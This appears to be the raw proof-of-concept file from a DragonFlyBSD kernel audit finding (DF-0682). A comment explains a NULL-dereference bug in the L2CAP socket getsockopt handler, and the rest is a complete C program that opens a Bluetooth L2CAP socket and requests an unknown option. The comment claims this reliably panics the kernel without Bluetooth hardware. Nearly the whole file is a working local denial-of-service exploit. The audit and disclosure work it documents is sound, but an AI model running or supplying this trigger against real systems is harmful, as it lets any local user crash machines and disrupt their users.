DragonFlyBSD Kernel Audit
DF-0682 / trigger.c
← back to finding ↓ download raw
/*
 * DF-0682 trigger: l2cap_socket.c PRCO_GETOPT missing-break NULL-deref panic.
 *
 * Mechanism (sys/netbt/l2cap_socket.c:118-132):
 *   case PRCO_GETOPT:
 *       m = m_get(M_NOWAIT, MT_DATA);
 *       ...
 *       m->m_len = l2cap_getopt(pcb, sopt_name, mtod(m, void *)); // :125 -> 0 unknown
 *       if (m->m_len == 0) {
 *           m_freem(m); m = NULL; error = ENOPROTOOPT;             // :126-129
 *       }
 *       soopt_from_kbuf(sopt, mtod(m, void *), m->m_len);         // :131 mtod(NULL) => panic
 *
 * Trigger: socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP) then
 * getsockopt with any unknown option number (e.g. 99). 100% reliable
 * local kernel panic when netbt.ko is loaded. No BT hardware needed.
 *
 * Mechanically identical to DF-0680 (rfcomm) and DF-0687 (sco).
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define AF_BLUETOOTH    33
#define BTPROTO_L2CAP   2

int main(void) {
    int fd, rc;
    socklen_t len;
    char buf[64];

    printf("[*] DF-0682: L2CAP PRCO_GETOPT missing-break panic trigger\n");
    printf("[*] opening AF_BLUETOOTH/SOCK_SEQPACKET/BTPROTO_L2CAP socket\n");

    fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
    if (fd < 0) {
        printf("[!] socket() failed: %s (errno=%d)\n", strerror(errno), errno);
        if (errno == EPROTONOSUPPORT || errno == EPROTOTYPE || errno == EPFNOSUPPORT)
            printf("[!] netbt.ko not loaded? load with: kldload netbt.ko\n");
        return 2;
    }
    printf("[+] socket fd=%d allocated\n", fd);

    printf("[*] getsockopt(fd, BTPROTO_L2CAP, 99=unknown, ...) -> expect kernel panic\n");
    fflush(stdout);

    len = sizeof(buf);
    memset(buf, 0, sizeof(buf));
    /* optname=99 -- not SO_L2CAP_IMTU(1)..LM(6); l2cap_getopt returns 0 */
    rc = getsockopt(fd, BTPROTO_L2CAP, 99, buf, &len);
    printf("[!] getsockopt returned %d (errno=%d %s) -- NO PANIC\n",
           rc, errno, strerror(errno));

    close(fd);
    return 0;
}